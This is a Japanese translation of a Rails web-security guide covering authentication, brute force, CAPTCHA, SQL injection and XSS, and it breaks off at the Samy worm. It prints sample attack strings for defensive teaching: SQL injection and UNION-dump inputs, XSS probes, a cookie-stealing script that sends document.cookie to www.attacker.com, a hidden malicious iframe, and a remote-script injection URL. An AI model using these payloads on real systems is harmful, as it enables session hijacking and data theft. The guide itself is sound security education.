管理画面を特別なサブドメインに置き ( admin.application.com など)、さらに管理アプリケーションを独立させてユーザー管理を独自に行えるようにします。このような構成にすることで、通常の www.application.com ドメインからの管理者cookieを盗み出すことは不可能になります。ブラウザには同一生成元ポリシーがあるので www.application.com に注入されたXSSスクリプトからは admin.application.com のcookieは読み出せず、逆についても同様に読み出し不可となります。
認証 (authentication) と認可 (authorization) はほぼすべてのWebアプリケーションにおいて不可欠です。認証システムは自前で作るよりも、既存のプラグイン (訳注: 現在ならgem) を使うことをお勧めします。ただし、常に最新の状態にアップデートするようにしてください。この他にいくつかの注意を守ることで、アプリケーションをよりセキュアにすることができます。
Railsでは多数の認証用プラグインを利用できます。人気の高いdevise やauthlogicなどの優れたプラグインは、パスワードを平文ではなく常に暗号化した状態で保存します。Rails 3.1では、同様の機能を持つビルトインのhas_secure_password
メソッドを使えます。
新規ユーザーは必ずメール経由でアクティベーションコードを受け取り、メール内のリンク先でアカウントを有効にするようになっています。アカウントが有効になると、データベース上のアクティベーションコードのカラムはNULLに設定されます。以下のようなURLをリクエストするユーザーは、データベースで見つかる最初に有効になったユーザーとしてWebサイトにログインできてしまう可能性があります。そしてそれがたまたま管理者である可能性もありえます。
http://localhost:3006/user/activate http://localhost:3006/user/activate?id=
一部のサーバーでは、params[:id]
で参照されるパラメータidがnilになってしまっていることがあるので、上のURLが通用してしまう可能性があります。アクティベーション操作中にこのことが敵に突き止められるまでの流れは以下のとおりです。
User.find_by_activation_code(params[:id])
パラメータがnilの場合、以下のSQLが生成されます。
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
この結果、データベースに実在する最初のユーザーが検索で見つかり、結果が返されてログインされてしまいます。詳しくは筆者のブログ記事を参照してください。プラグインは、機会を見てアップデートすることをお勧めします。さらに、Webアプリケーションにこのような欠陥がないかどうか見直しをかけてください。
アカウントに対する総当たり攻撃 (Brute-force attack) とは、ログイン情報に対して試行錯誤を繰り返す攻撃です。エラーメッセージを具体的でない、より一般的なものにすることで回避可能ですが、CAPTCHA (相手がコンピュータでないことを確認するためのテスト) への情報入力の義務付けもおそらく必要でしょう。
Webアプリケーション用のユーザー名リスト (名簿) は、パスワードへの総当たり攻撃に悪用される可能性があります。パスワードがユーザー名と同じなど、単純極まりないパスワードを使っている人が驚くほど多いため、総当たり攻撃にこうした名簿が利用されやすいのです。辞書に載っている言葉に数字を混ぜた程度の弱いパスワードが使われていることもよくあります。従って、名簿と辞書を使って総当り攻撃を行なう自動化プログラムがあれば、ものの数分でパスワードを見破られてしまいます。
このような総当たり攻撃を少しでもかわすため、多くのWebアプリケーションではわざと具体的な情報を出さずに「ユーザー名またはパスワードが違います」という一般的なエラーメッセージを表示するようにしています。ユーザー名とパスワードどちらが違っているのかという情報を表示しないことで、総当たり攻撃による推測を少しでも遅らせます。「入力されたユーザー名は登録されていません」などという絶好の手がかりとなるメッセージを返したら最後、攻撃者はすぐさまユーザー名リストを大量にかき集めて自動で巨大名簿を作成するでしょう。
しかし、Webアプリケーションのデザイナーがおろそかにしがちなのは、いわゆる「パスワードを忘れた場合」ページです。こうしたページではよく「入力されたユーザー名またはメールアドレスは登録されていません」という情報が表示されます。こうした情報を表示してしまうと、攻撃者がアカウントへの総当り攻撃に使う有効なユーザー名一覧を作成するのに利用されてしまいます。
これを少しでも緩和するには、「パスワードを忘れた場合」ページでも一般的なエラーメッセージを表示するようにしましょう。さらに特定のIPアドレスからのログインが一定回数以上失敗した場合には、CAPTCHA の入力をユーザーに義務付けるようにしましょう。もちろん、このぐらいでは自動化された総当たり攻撃プログラムからの攻撃から完全に逃れることはできません。こうしたプログラムは送信元IPアドレスを頻繁に変更するぐらいのことはやってのけるからです。しかしこの対策は攻撃に対するある程度の防御になることも確かです。
多くのWebアプリケーションでは、ユーザーアカウントを簡単にハイジャックできてしまいます。攻撃を困難にするような改良が進まないのはなぜでしょうか。
攻撃者が、盗み出されたユーザーセッションcookieを手に入れ、それによってWebアプリケーションが標的ユーザーとの間で共用可能になった状態を考えてみましょう。パスワードが簡単に変更できる画面設計(古いパスワードの入力が不要)であれば、攻撃者は数クリックするだけでアカウントをハイジャックできてしまいます。あるいは、パスワード変更画面がCSRF攻撃に対して脆弱な作りになっている場合、攻撃者は標的ユーザーを別のWebページに誘い込み、CSRFを実行するように仕込まれたimgタグを踏ませて、標的ユーザーのWebパスワードを変更するでしょう。対応策としては、パスワード変更フォームがCSRF攻撃に対して脆弱にならないようにすることです。同時に、ユーザーにパスワードを変更させる場合は、古いパスワードを必ず入力させることです。
しかし攻撃者は、登録されているメールアドレスを書き換えてアカウントを乗っ取ろうとする可能性もありますので、注意が必要です。攻撃者は、メールアドレス変更に成功すると「パスワードを忘れた場合」ページに移動し、攻撃者の新しいメールアドレスに変更通知メールを送信します。システムによってはこのメールに新しいパスワードが記載されていることもあります。対応策は、メールアドレスを変更する場合にもパスワード入力を必須にすることです。
Webアプリケーションの構成によっては、ユーザーアカウントをハイジャックする方法が他にも潜んでいる可能性があります。多くの場合、CSRFとXSSが原因となります。ここではGMailのCSRF脆弱性 で紹介されている例をとりあげます。なお上の記事に記載されているのは概念実証に過ぎません。仮にこの攻撃を受けた場合、標的ユーザーは攻撃者が支配するWebサイトに誘い込まれます。そのサイトのImgタグには仕掛けがあり、GMailのフィルタ設定を変更するHTTP GETリクエストがそこから送信されます。この標的ユーザーがGMailにログインしていた場合、フィルタ設定が攻撃者によって変更され、この場合はすべてのメールが攻撃者に転送されるようになります。この状態は、アカウント全体がハイジャックされたのと同じぐらいに有害です。対応策は、アプリケーションのロジックを見なおしてXSSやCSRF脆弱性が持ち込まれないようにすることとしか言いようがありません。
CAPTCHAとは、コンピュータによる自動応答でないことを確認するためのチャレンジ-レスポンス式テストです。コメント入力欄などで、歪んだ画像に表示されている文字を入力させることで、入力者が自動スパムボットでないことを確認する場合によく使われます。ネガティブCAPTCHAという手法を使えば、入力者に自分が人間であることを証明させるかわりに、ボットを罠にはめて正体を暴くことができます。
いわゆるスパムボット以外に、自動ログインボットも問題となります。CAPTCHAのAPIとしてはreCAPTCHAが有名です。これは古書から引用した言葉を歪んだ画像として表示します。初期のCAPTCHAでは背景を歪めて反りを与えていましたが、これは突破されたため、現在では文字の上に曲線を書き加えて強化しています。なお、reCAPTCHAは古書のデジタル化にも使えます。ReCAPTCHAはRailsのプラグインにもなっており、APIとして同じ名前が使われています。
このAPIからは公開鍵と秘密鍵の2つの鍵を受け取ります。これらはRailsの環境に置く必要があります。それにより、ビューでrecaptcha_tags
メソッドを、コントローラではverify_recaptcha
メソッドをそれぞれ利用できます。検証に失敗するとverify_recaptcha
からfalseが返されます。
いわゆるCAPTCHAの問題は、ユーザーにしてみれば入力が多少なりとも面倒に感じられるものです。さらに、弱視など視力に問題のあるユーザーはCAPTCHAの歪んだ画像をうまく読めないこともあります。ここで、ネガティブCAPTCHAという別のアイディアがあります。この方法のコンセプトは、入力者をわずらわせて自分が人間であることを証明させる代りに、ボットを罠にはめて入力者がボットであることを突き止めるというものです。
ほとんどのボットは、単にWebページをクロールしてフォームを見つけるたびにスパム文を入力するだけのお粗末なものです。ネガティブCAPTCHAでは、ボットをはめる罠として「ハニーポット」フィールドを用意します。これは、CSSやJavaScriptを用いて人間には表示されないように設定されたダミーのフィールドです。
ネガティブCAPTCHAが効果を発揮するのはWebをクロールする自動ボットからの保護のみであり、重要なサイトに狙いを定めるボットの保護には不向きです。しかしネガティブCAPTCHAとポジティブCAPTCHAをうまく組み合わせればパフォーマンスを改善できることがあります。たとえば"honeypot"フィールドが空でない場合(=ボットが検出された)はポジティブCAPTCHAの検証は不要になり、レスポンス処理の前にGoogle ReCapchaにHTTPSリクエストを送信せずに済みます。
ここでは、JavaScriptやCSSを用いてハニーポットフィールドを人間から隠す方法をいくつか説明します。
最もシンプルなネガティブCAPTCHAは、ハニーポットフィールドを1つ使います。このフィールドはサーバー側でチェックします。フィールドに何か書き込まれていれば、入力者はボットであると判定できます。後はフォームの内容を無視するなり、通常通りメッセージを表示する(データベースには保存しない)などすればよいのです。通常のメッセージをもっともらしく表示しておけば、ボットは書き込み失敗に気が付かないまま満足して次の獲物を探すでしょう。
Ned Batchelderのブログ投稿には、さらに洗練されたネガティブCAPTCHA手法がいくつか紹介されています。
Railsのログ出力にパスワードが含まれないようにすること。
デフォルトでは、RailsのログにはWebアプリケーションへのリクエストがすべて出力されます。しかしログファイルにはログイン情報、クレジットカード番号などの情報が含まれていることがあるため、重大なセキュリティ問題の原因になることがあります。Webアプリケーションのセキュリティコンセプトをデザインするにあたり、攻撃者がWebサーバーへのフルアクセスに成功してしまった場合のことも必ず考慮に含めておく必要があります。パスワードや機密情報がログファイルに平文のまま出力されていては、データベース上でこれらの情報を暗号化していても意味がなくなってしまいます。Railsアプリケーションの設定ファイル config.filter_parameters に特定のリクエストパラメータをログ出力時にフィルタする設定を追加することができます。フィルタされたパラメータはログ内で[FILTERED]
という文字に置き換えられます。
config.filter_parameters << :password
指定したパラメータは正規表現の「部分マッチ」によって除外されます。Railsはデフォルトで:password
を適切なイニシャライザ(initializers/filter_parameter_logging.rb
)に追加し、アプリケーションの典型的なpassword
パラメータやpassword_confirmation
パラメータに配慮します。
あらゆるパスワードを覚えておくのがつらいからといって、パスワードを紙に書き留めたりしないでください。覚えておける文を1つ決め、単語の頭文字を集めたものをパスワードにしてください。
セキュリティの専門家Bruce Schneierは、後述の方法でMySpace上に実在する34,000人のユーザーのユーザー名やパスワードに対するフィッシング攻撃がどのぐらい有効であるかを分析しました。その結果、大半のパスワードがいとも簡単にクラックできてしまうことが判明しました。最もありがちな20のだめパスワードは以下のとおりです。
password1、abc123、myspace1、password、blink182、qwerty1、****you、123abc、baseball1、football1、123456、soccer、monkey1、liverpool1、princess1、jordan23、slipknot1、superman1、iloveyou1、monkey
なお、辞書に載っている単語がそのまま使われているケースはこの中で4%に過ぎず、ほとんどは英文字に数字を混ぜたものになっているのはなかなか興味深い点です。しかし、パスワードクラック用の辞書にはこうした膨大なパスワードが集められており、攻撃者は英文字と数字のあらゆる組み合わせを試そうとしています。攻撃者が標的ユーザーのユーザー名を知り、そのユーザーが使っているパスワードが弱ければ、そのアカウントは簡単にクラックされてしまいます。
よいパスワードの条件とは、「十分に長く」「英文字と数字が使われていて」「大文字と小文字が両方使われている」ことです。しかしそのようなパスワードは覚えにくいので、まずは自分が覚えられる文を1つ決め、その文で使われている単語の頭文字を集めてパスワードにすることをお勧めします。「The quick brown fox jumps over the lazy dog」という文ならたとえば「Tqbfjotld」というパスワードにできます。もちろん上はあくまで例に過ぎません。実際にはこのようなありふれた文をパスワードにしないでください。この程度のパスワードはクラッキング用辞書に収録されている可能性があります。
Rubyの正規表現で落とし穴になりやすいのは、より安全な\A
や\z
があることを知らずに危険な^
や$
を使ってしまうことです。
Rubyの正規表現では、文字列の冒頭や末尾にマッチさせる方法が他の言語と若干異なります。このため、多くのRuby本やRails本でもこの点について間違った記載があります。いったいどのような問題が生じるのでしょうか。たとえば、URL形式になっているかどうかをざっくりと検証したいので、以下のような単純な正規表現を使ったとします。
/^https?:\/\/[^\n]+$/i
これは一部の言語では正常に動作します。しかし、Rubyでは^
や$
は、入力全体の冒頭と末尾ではなく、「 行の」冒頭と末尾にマッチしてしまいます。従って、この場合以下のような毒入りURLはフィルタを通過してしまいます。
javascript:exploit_code();/* http://hi.com */
上のURLがフィルタに引っかからないのは、入力の2行目にマッチしてしまうからです。従って、1行目と3行目にどんな文字列があってもフィルタを通過してしまいます。フィルタをすり抜けてしまったURLが、今度はビューの以下の箇所で表示されたとします。
link_to "Homepage", @user.homepage
表示されるリンクは一見無害に見えますが、クリックすると、攻撃者が送り込んだ邪悪なJavaScript関数を初めとするJavaScriptコードが実行されてしまいます。
これらの正規表現に含まれる危険な^
や$
は、安全な\A
や\z
に置き換える必要があります。
/\Ahttps?:\/\/[^\n]+\z/i
^
や$
をうっかり使ってしまうミスが頻発したため、Railsのフォーマットバリデータ(validates_format_of
) では、正規表現が^
で始まったり$
で終わっていたりすると例外を発生するようになりました。めったにないと思われますが、\A
や\z
の代りに^
や$
をどうしても使いたい場合は、:multiline
オプションをtrueに設定することもできます。
# この文字列のどの行にも"Meanwhile"という文字が含まれている必要がある validates :content, format: { with: /^Meanwhile$/, multiline: true }
この機能は、フォーマットバリデータ利用時に起きがちなミスから保護する以上のことは行いません。^
や$
はRubyでは 1つの行 に対してマッチし、文字列全体にはマッチしないということを開発者が十分理解しておくことが重要です。
パラメータが1つ変更されただけでも、ユーザーが不正な権限でアクセスできるようになってしまうことがあります。パラメータは、たとえどれほど難読化し、隠蔽したとしても、変更される可能性が常にあることを忘れないでください。
改ざんされる可能性が高いパラメータといえばidでしょう。http://www.domain.com/project/1
の1がidです。このidはコントローラのparams
を経由して取得できます。コントローラ内では多くの場合、次のようなコードが使われていることが考えられます。
@project = Project.find(params[:id])
このコードで問題がないWebアプリケーションもあるにはありますが、そのユーザーがすべてのビューを参照する権限を持っていない場合には問題となります。このユーザーがURLのidを42に変更し、本来のidでは表示できないページを表示できてしまうからです。このようなことにならないよう、ユーザーのアクセス権もクエリに含めてください。
@project = @current_user.projects.find(params[:id])
Webアプリケーションによっては、ユーザーが改ざん可能なパラメータが他にも潜んでいる可能性があります。要するに、安全確認が終わっていないユーザー入力が安全である可能性はゼロであり、ユーザーから送信されるいかなるパラメータであっても、何らかの操作が加えられている可能性が常にあります。
難読化とJavaScriptによる検証のセキュリティだけで安全を保てると考えてはなりません。ブラウザのWeb Developer Toolbarを使えば、フォームの隠しフィールドを見つけて変更することもできます。JavaScriptを使ってユーザーの入力データを検証することはできますが、攻撃者が想定外の値を与えて邪悪なリクエストを送信することは阻止しようがありません。Mozilla Firefox用のLive HTTP Headersプラグインを使えば、すべてのリクエストをログに記録して、それらを繰り返し送信したり変更したりすることもできます。さらに、JavaScriptによる検証はブラウザのJavaScriptをオフにするだけで簡単にバイパスできてしまいます。クライアント側に、クライアントからのリクエストやインターネットからの応答をこっそり傍受しているプロキシが介在している可能性も忘れないようにしておく必要があります。
インジェクション (注入) とは、Webアプリケーションに邪悪なコードやパラメータを導入して、そのときのセキュリティ権限で実行させることです。XSS (クロスサイトスクリプティング) やSQLインジェクションはインジェクションの顕著な例です。
インジェクションによって注入されるコードやパラメータは、あるコンテキストではきわめて有害であっても、それ以外のほとんどのコンテキストでは無害です。その意味で、インジェクションは非常にトリッキーであると言えます。ここでいうコンテキストとは、スクリプティング、クエリ、プログラミング言語、シェル、RubyやRailsのメソッドなどがあります。以下の節では、インジェクション攻撃が発生しうる重要なコンテキストについて説明します。ただし最初の節では、インジェクションに関連するアーキテクチャ上の決定事項について説明します。
通常、サニタイズや保護や検証では、ブラックリスト方式よりホワイトリスト方式を使いましょう。
ブラックリストになるのは、悪事に使われるメールアドレス、非公式のアクション、邪悪なHTMLタグなどです。ホワイトリストはこれと真逆で、悪事に使われないことがわかっているメールアドレス、公式のアクション、無害なメールアドレスなどがホワイトリストになります。スパムフィルタなど、対象によってはホワイトリストを作成しようがないこともありますが、基本的にホワイトリスト方式を使いましょう。
before_action
では、except: [...]
ではなくonly: [...]
を使いましょう。その方が将来コントローラにアクションを追加するときにセキュリティチェックを忘れずに済みます。<script>
を削除するブラックリスト方式ではなく、たとえば<strong>
だけを許可するホワイトリスト方式にしましょう。理由については以下をご覧ください。"<sc<script>ript>".gsub("<script>", "")
という攻撃にやられてしまいます。特定の項目だけを禁止するブラックリスト方式では、ブラックリストへの禁止項目の追加を忘れる可能性がありますが、特定の項目だけを許可するホワイトリスト方式では、そうした追加忘れが原理的に発生しないので、望ましい方法です。
さまざまなよい手法が出現したおかげで、SQLインジェクションがRailsアプリケーションで問題になることはめったになくなりました。しかしSQLインジェクションはひとたび発生すれば壊滅的な打撃を受ける可能性があり、Webアプリケーションに対する一般的な攻撃方法でもあるため、この問題を十分に理解することが重要です。
SQLインジェクションは、Webアプリケーションのパラメータを操作してデータベースクエリに影響を与えることを目的とした攻撃手法です。SQLインジェクションは、認証をバイパスする目的でよく使われます。他にも、データを操作したり任意のデータを読み出したりする目的にも使われます。クエリのユーザー入力データをそのまま使わずに改ざんする方法の例を以下で説明します。
Project.where("name = '#{params[:name]}'")
上のコードは検索用のアクションなどで使われるものであり、ユーザーは検索したいプロジェクト名を入力します。ここで、悪意のあるユーザーが' OR 1 --
という文字列を入力すると、以下のSQLクエリが生成されます。
SELECT * FROM projects WHERE name = '' OR 1 --'
2つのダッシュ「--
」が末尾に置かれると、以後に追加されるクエリがすべてコメントと見なされてしまい、実行されなくなります。そのため、projectsテーブルからすべてのレコードが取り出されます。これらは通常のユーザーからは参照できないはずのものです。これは、クエリですべての条件がtrueになっているために発生しています。
Webアプリケーションには、何らかの形でアクセス制御が行われるのが普通です。ユーザーがログイン情報を入力すると、Webアプリケーションはユーザーテーブルに登録されているレコードとマッチするかどうかを調べます。既存のレコードとマッチする場合、アプリケーションはアクセスを許可します。しかしながら、攻撃者がSQLインジェクションを使うことでこの認証をすり抜けてしまう可能性があります。以下はRailsにおける典型的なデータベースクエリです。ユーザーが入力したログイン情報パラメータとマッチするUserテーブル上の最初のレコードを返します。
User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
ここで攻撃者が「' OR '1'='1
」という文字列を名前フィールドに入力し、「' OR '2'>'1
」をパスワードフィールドに入力すると以下のSQLクエリが生成されます。
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
マッチする最初のレコードがこのクエリによって取得され、ユーザーにアクセスが許可されてしまいます。
UNION文は2つのSQLクエリをつなぎ、1つのセットとしてデータを返します。攻撃者はUNIONを使ってデータベースから任意のデータを読み出す可能性があります。再び上の例を用いて説明します。
Project.where("name = '#{params[:name]}'")
ここで、UNION文を用いて以下の文字列を注入したとします。
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
これによって以下のSQLが生成されます。
SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --'
このクエリで得られるのはプロジェクトのリストではなく(名前が空欄のプロジェクトはないので)、ユーザー名とパスワードのリストです。データベース上のパスワードが暗号化されていればまだ最悪の事態は避けられます。一方、攻撃者にとって気がかりなのは、両方のクエリでカラムの数を同じにしなければならないということです。この攻撃用文字列では、そのために2番目のクエリに「1」を連続して配置しています。これらの値は常に1になるので、1番目のクエリのカラム数と一致します。
同様に、2番目のクエリではASを使ってカラム名をリネームしています。これにより、ユーザーテーブルから取り出した値がWebアプリケーション上で表示されます。Railsを最低でも2.1.1にアップデートしてください。
Ruby on Railsには、特殊なSQL文字をフィルタする仕組みがビルトインで備わっています。「'
」「"
」「NULL」「改行」がエスケープされます。Model.find(id)
やModel.find_by_なんちゃら(かんちゃら)
に対しては自動的にこの対応策が適用されます。ただし、SQLフラグメント、特に条件フラグメント (where("...")
)、connection.execute()
またはModel.find_by_sql()
メソッドについては手動でエスケープする必要があります。
条件オプションには文字列を直接渡す代りに、以下のように配列を渡すことで、汚染された文字列をサニタイズすることもできます。
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
上に示したように、配列の最初の部分がSQLフラグメントになっており、その中に疑問符「?
」が含まれています。サニタイズされた変数は、配列の後半に置かれており、フラグメント内の疑問符を置き換えます。ハッシュを渡して同じ結果を得ることもできます。
Model.where(login: entered_user_name, password: entered_password).first
モデルのインスタンスでは、配列またはハッシュのみを利用できます。それ以外の場所ではsanitize_sql()
を使うのもよいでしょう。SQLで外部の文字列をサニタイズせずに使うと、セキュリティ上重大な結果がもたらされる可能性があることを普段から考える習慣をつけましょう。
XSSは最もよく発生するWebセキュリティ上の脆弱性であり、ひとたび発生すると壊滅的な影響が生じる可能性があります。XSSを利用した悪意のある攻撃が行われると、クライアント側のコンピュータに実行可能なコードが注入されてしまいます。Railsには、このような攻撃をかわすためのヘルパーメソッドが用意されています。
攻撃点 (entry point) とは、攻撃者が攻撃を向ける対象となる、脆弱なURLおよびパラメータのことです。
攻撃点として最も選ばれやすいのはメッセージ投稿、ユーザーコメント、ゲストブックですが、プロジェクトタイトル、ドキュメント名、検索結果ページなども同様に脆弱性を抱えていたことがありました。ユーザーがデータを入力可能なところはどこでも攻撃点になりえます。ただし、攻撃者がデータを入力するのはWebサイト上の入力ボックスとは限りません。URLに含まれているパラメータ、URLに直接含まれていないが利用可能な「隠れた」パラメータ、URLに含まれない内部パラメータのどこからでも攻撃者がデータを入力する可能性があります。攻撃者がすべてのトラフィックを傍受している可能性を常に考慮に入れる必要があります。アプリケーションプロキシやクライアント側プロキシを使うことで、リクエストを簡単に改ざんすることができます。
XSS攻撃は次のように行われます。攻撃者が何らかのコードをWebアプリケーションに注入し、後に標的ユーザーのWebページ上に表示されます。多くのXSSの例では、単に警告ボックスを表示するだけですが、実際のXSS攻撃はもっと凶悪です。XSSを使うことで、cookieの盗み出し、セッションのハイジャック、標的ユーザーを偽のWebサイトに誘い込む、攻撃者の利益になるような広告を表示する、Webサイトの要素を書き換えてユーザー情報を盗み出したりWebブラウザのセキュリティ・ホールを経由して邪悪なソフトウェアをインストールしたりできることがあります。
2007年後半、Mozillaブラウザで88の脆弱性、Safariで22、IEで18、Operaで12の脆弱性が報告されました。Symantec Global Internet Security threat report には、2007年後半にブラウザのプラグインで239の脆弱性が報告されています。Mpackは大変活発かつ最新の攻撃用フレームワークであり、これらの脆弱性を利用しています。犯罪的なハッカーにとって、WebアプリケーションフレームワークのSQLインジェクションの脆弱性につけ込み、テキストテーブルのカラムに凶悪なコードを注入して回るのはたまらない魅力です。2008年4月には、510,000以上のWebサイトがこの方法でハッキングされ、英国政府、国連など多くの重要なサイトが被害に遭いました。
バナー広告は、比較的目新しい攻撃点です。Trend Microによると、2008年初頭に、MySpaceやExciteなどの有名サイトのバナー広告に悪意のあるコードが仕込まれたという事例がありました。
XSS攻撃に利用されやすい言語は、言うまでもなくクライアント側で最も普及している言語であるJavaScriptであり、しばしばHTMLと組み合わせて攻撃に利用されます。攻撃を避けるにはユーザー入力をエスケープする必要があります。
XSSをチェックする最も簡単なテストをご紹介します。
<script>alert('Hello');</script>
このJavaScriptコードを実行すると、警告ボックスが1つ表示されるだけです。次の例では、見かけの動作はまったく同じですが、通常ではありえない場所にコードが置かれています。
<img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')">
先ほどの例では何の害も生じないので、今度は攻撃者がユーザーのcookieを盗み出す手法をご紹介します (攻撃者はこれを利用してユーザーのセッションをハイジャックします)。JavaScriptでは、document.cookie
プロパティを利用してドキュメントのcookieを読み書きできます。JavaScriptでは同一生成元ポリシーが強制的に適用されます。これは、あるドメインから送り込まれたスクリプトからは、別のドメインのcookieにアクセスできないようにするポリシーです。document.cookie
プロパティには、生成元webサーバーのcookieが保存されています。しかし、HTMLドキュメントに直接コードを埋め込むと(XSSによってこれが生じることがあります)、このプロパティを読み書きできてしまいます。このコードを自分のWebアプリケーションの適当な場所に手動で注入すると、そのページに含まれている自身のcookieが表示されるのがわかります。
<script>document.write(document.cookie);</script>
もちろん、攻撃者にしてみれば標的ユーザーが自分で自分のcookieを表示したところで何の意味もありません。次の例では、http://www.attacker.com/というURLから画像とcookieを読み込みます。言うまでもありませんが、このURLは実際には存在しませんので、ブラウザには何も表示されません(訳注: 現在は売り物件のWebページがあるようです)。ただし攻撃者はWebサーバーのアクセスログファイルを調べて標的ユーザーのcookieを参照することができます。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
www.attacker.comサイト上のログファイルには以下のように記録されます。
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
この攻撃をある程度緩和するためにはhttpOnlyフラグをcookieに追加します。これにより、document.cookie
をJavaScriptで読み出せなくなります。HTTP only cookieはIE v6.SP1、Firefox v2.0.0.5、Opera 9.5以降で利用できます。Safariはまだこのフラグを検討中であり、このオプションは無視されます。ただしWebTVやMac版IE 5.5などの古いブラウザでは、ページ上での読み込みに失敗します。なお、Ajaxを使うとcookieが表示可能になることにもご注意ください。
Webページを書き換える (汚損) ことで、偽の情報を表示したり、標的ユーザーを攻撃者の偽サイトに誘い込んでcookieやログイン情報などの重要データを盗み出すなどのさまざまな攻撃が可能になります。最も多い攻撃は、iframeを悪用して外部のコードをWebページに含める方法です。
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
このコードによって、外部にある任意のHTMLやJavaScriptが読み込まれ、Webサイトの一部として埋め込まれます。上のiframeは、Mpack攻撃フレームワークを使ってイタリアにあるWebサイトへの攻撃で実際に用いられたものです。MpackはWebブラウザのセキュリティホールを介して邪悪なソフトウェアをインストールしようとします。そして攻撃の成功率は50%を誇っています。
さらに特殊な攻撃としては、Webサイト全体を上に重ねて表示したりログインフォームを表示したりするという手口があります。これらは元のサイトと一見そっくりですが、入力されたユーザー名とパスワードを密かに攻撃者のサイトに送信します。あるいは、CSSやJavaScriptを駆使してWebアプリケーション上の本物のリンクを隠して別のリンクを表示し、ユーザーを偽のサイトにリダイレクトするという手法もあります。
リフレクションインジェクション (Reflected injection) 攻撃も同様の攻撃です。標的ユーザーに後で表示されるペイロードを実際には保存せず、代わりにURLに長大な文字列として仕込んでおく手法です。特に検索フォームで検索文字列のエスケープに失敗します。以下のリンク先には、「ジョージ・ブッシュが9歳の男の子を議長に任命」と書かれたページがありました。
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> <script src=http://www.securitylab.ru/test/sc.js></script><!--
悪意のある入力をフィルタすることがきわめて重要です。Webアプリケーションの出力をエスケープすることも同様に重要です。
特にXSSの場合、ブラックリスト方式ではなくホワイトリスト方式で入力をフィルタすることが絶対重要です。ホワイトリストフィルタでは特定の値のみが許可され、それ以外の値はすべて拒否されます。ブラックリスト方式を元にしている限り、必ず将来漏れが生じます。
ユーザー入力から「script」という文字を除去するのに使われているブラックリストがあるとしましょう。それなら攻撃者は次には「<scrscriptipt>
」という文字を入力するでしょう。この文字がフィルタされると「<script>
」という文字がそっくり残ってしまいます。以前のRailsではstrip_tags()
、strip_links()
、sanitize()
メソッドでブラックリスト的アプローチが使われていたため、当時は以下のような攻撃が可能でした。
strip_tags("some<<b>script>alert('hello')<</b>/script>")
フィルタから返される「some<script>alert('hello')</script>
」という文字列の攻撃能力は失われていません。だからこそ、筆者はホワイトリストを用いるフィルタリングを推奨しています。ホワイトリストによるフィルタは、Rails 2でアップデートされたsanitize()
メソッドで使われています。
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))
この方法なら指定されたタグのみが許可されるため、あらゆる攻撃方法や邪悪なタグに対してフィルタが健全に機能します。
第2段階として、Webアプリケーションからの出力をもれなくエスケープすることが優れた対策となります。これは特に、ユーザー入力の段階でフィルタされなかった文字列がWeb画面に再表示されてしまうようなことがあった場合に有効です。escapeHTML()
(または別名のh()
) メソッドを用いて、HTML入力文字「&
」「"
」「<
」「>
」を、無害なHTML表現形式(&
、"
、<
、>
) に置き換えます。
従来のネットワークトラフィックは西欧文化圏のアルファベットがほとんどでしたが、それ以外の言語を伝えるためにUnicodeなどの新しいエンコード方式が使われるようになってきました。しかしこれはWebアプリケーションにとっては新たな脅威となるかもしれません。異なるコードでエンコードされた中に、ブラウザでは処理可能だがサーバーでは処理されないような悪意のあるコードが潜んでいるかもしれないからです。UTF-8による攻撃方法の例を以下に示します。
<IMG SRC=javascript:a lert('XSS')>
上の例を実行するとメッセージボックスが表示されます。なお、これは上のsanitize()フィルタで認識されます。Hackvertorは文字列の難読化とエンコードを行なう優れたツールであり、「敵を知る」のに最適です。Railsのsanitize()
メソッドは、このようなエンコーディング攻撃をかわします。
近年におけるWebアプリケーションへの攻撃を理解するために、実際の攻撃例をご紹介します。
以下はJs.Yamanner@m Yahoo! Mail ワーム からの抜粋です。この攻撃は2006年6月11日に行われたもので、Webメールインターフェイスを利用したワームの最初の事例です。
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ''; var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
このワームはYahooのHTML/JavaScriptフィルタの抜け穴を利用しました。このフィルタは元来、JavaScriptが仕込まれる可能性のあるtarget
属性とonload
属性をすべてフィルタするようになっていました。しかし残念ながらこのフィルタは1度しか実行されなかったため、ワームが潜むonload属性が除去されずにそのまま残ってしまいました。この事例から、ブラックリストフィルタが完璧なものになることは永遠にありえないこと、そしてHTML/JavaScriptをWebアプリケーションで許可することに困難が伴う理由をおわかりいただけると思います。
webmailワームの他の概念実証的な事例としてNdujaを取り上げます。詳細についてはRosario Valotta'の論文を参照してください。どちらのwebmailワームもメールアドレスを収集することを目的としており、犯罪的ハッカーが不正な収入を得るのに使われることがあります。
2006年12月、実在する34,000人のユーザー名とパスワードがMySpaceへのフィッシング攻撃によって盗み出されました。この攻撃では「login_home_index_html」という名前をURLに持つプロファイルページが捏造され、それによってこのURLはユーザーからは実にもっともらしく見えました。MySpaceの本物のWebページコンテンツは特殊なHTML/CSSによって覆い隠され、独自の偽ログインページを代りに表示しました。
CSSインジェクションは実際にはJavaScriptのインジェクションであると言えます。これは、IEや特定のバージョンのSafariなどで、CSSに含まれるJavaScriptの実行が許可されているからです。
CSSインジェクションの説明に最適なのは、かの有名なMySpace Samyワームです。このワームは、攻撃者であるSamyのプロファイルページを開くだけで自動的にSamyに友達リクエストを送信するというものです。他愛もないいたずらだったかもしれませんが、Samyのもとには数時間のうちに百万件以上の友達リクエストが集まり、それによってMySpaceに膨大なトラフィックが発生してサイトがオフラインになってしまいました。以下はこのワームに関する技術的な解説です。
